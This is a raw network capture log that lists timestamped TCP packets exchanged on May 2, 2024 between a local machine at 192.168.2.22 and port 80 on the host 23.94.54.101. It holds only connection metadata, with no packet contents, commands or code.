May 2, 2024 17:39:46.666208029 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.666282892 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666326046 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.666354895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666443110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666481972 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.666538000 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666728020 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666769981 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.666915894 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666959047 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.666976929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667002916 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.667146921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667190075 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.667233944 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667248011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667299032 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.667334080 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667459011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667501926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.667560101 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667637110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667685986 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.667916059 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.667977095 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668009996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668020010 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.668087959 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668133974 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.668134928 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668201923 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668247938 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668260098 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.668286085 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668328047 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.668351889 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668450117 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.668503046 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.668632030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669179916 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669222116 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.669380903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669444084 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669481993 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.669517040 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669569969 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669610977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.669645071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669709921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669749975 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.669806004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669899940 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.669946909 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.669961929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670027018 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670067072 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670142889 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670192957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670233011 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670262098 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670314074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670365095 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670398951 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670443058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670485020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670509100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670572996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670614004 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670664072 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670756102 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670778990 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670803070 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.670838118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.670877934 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.672919989 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.672962904 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.673002958 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.675157070 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.763915062 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764024019 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764075041 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764089108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764170885 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764214039 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764238119 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764250994 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764285088 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764307022 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764362097 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764403105 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764413118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764427900 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764465094 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764467955 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764482021 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764503956 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764522076 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764544964 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764588118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764590025 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764602900 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764631987 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764642954 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764643908 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764686108 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764695883 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764719009 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764750004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764756918 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764780998 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764794111 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764821053 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764858961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764870882 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764897108 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764902115 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764935017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764936924 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.764950991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764972925 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.764990091 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765014887 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765050888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765054941 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765064955 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765086889 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765104055 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765139103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765151024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765162945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765183926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765218019 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765260935 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765276909 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765300035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765312910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765340090 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765352011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765376091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765398026 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765402079 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765409946 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765435934 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765460968 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765503883 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765513897 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765527010 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765538931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765549898 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765567064 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765573025 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765587091 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765598059 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765639067 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765655994 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765678883 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765712023 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765718937 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765747070 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765789032 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765791893 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765921116 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.765963078 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.765997887 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766057014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766098976 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766133070 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766216040 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766222954 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766278028 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766319990 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766343117 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766366959 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766390085 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766407013 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766429901 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766468048 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766490936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766541004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766554117 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766581059 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766640902 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766685963 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766736984 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766757011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766792059 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766799927 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766829014 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766872883 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766892910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766917944 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766958952 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.766961098 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.766974926 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767011881 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767018080 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767033100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767045975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767088890 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767097950 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767102003 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767126083 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767177105 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767189980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767200947 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767213106 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767220020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767239094 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767251015 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767252922 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767283916 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767299891 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767323017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767334938 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767362118 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767388105 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767399073 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767579079 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767631054 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767666101 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767690897 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767704010 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767714024 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767724991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767744064 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767757893 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767784119 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767796040 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767834902 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.767910957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767968893 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767981052 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.767992973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768003941 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768007994 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768028975 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768049002 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768090010 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768125057 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768167973 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768201113 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768219948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768234015 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768244982 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768270969 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768295050 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768306971 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768317938 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768333912 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768357038 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768357992 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768373966 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768409967 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768603086 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768615961 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768654108 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768657923 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768748999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768783092 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768790007 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768795967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768834114 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768857002 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768882036 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768920898 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.768944979 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768959045 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768985987 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.768996954 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769015074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769037008 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769054890 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769074917 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769088030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769115925 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769144058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769180059 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769298077 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769474030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769514084 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769515991 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769560099 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769608974 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769642115 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769686937 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769728899 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769767046 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769844055 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769882917 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.769900084 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.769975901 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770015001 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770052910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770087957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770127058 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770179033 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770263910 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770319939 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770359039 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770380020 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770417929 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770441055 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770466089 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770490885 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770503998 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770503998 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770579100 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770602942 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770615101 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770626068 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770637035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770647049 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770678043 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770687103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770729065 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770740032 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770766020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770773888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770787001 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770817041 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770833969 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770847082 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770859003 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770873070 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770893097 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770914078 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770926952 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770937920 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770965099 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.770981073 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.770993948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771007061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771023989 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771029949 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771040916 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771043062 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771071911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771085024 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771099091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771125078 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771136045 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771137953 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771176100 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.771188021 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771229029 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771241903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.771253109 CEST	80	49161	23.94.54.101	192.168.2.22
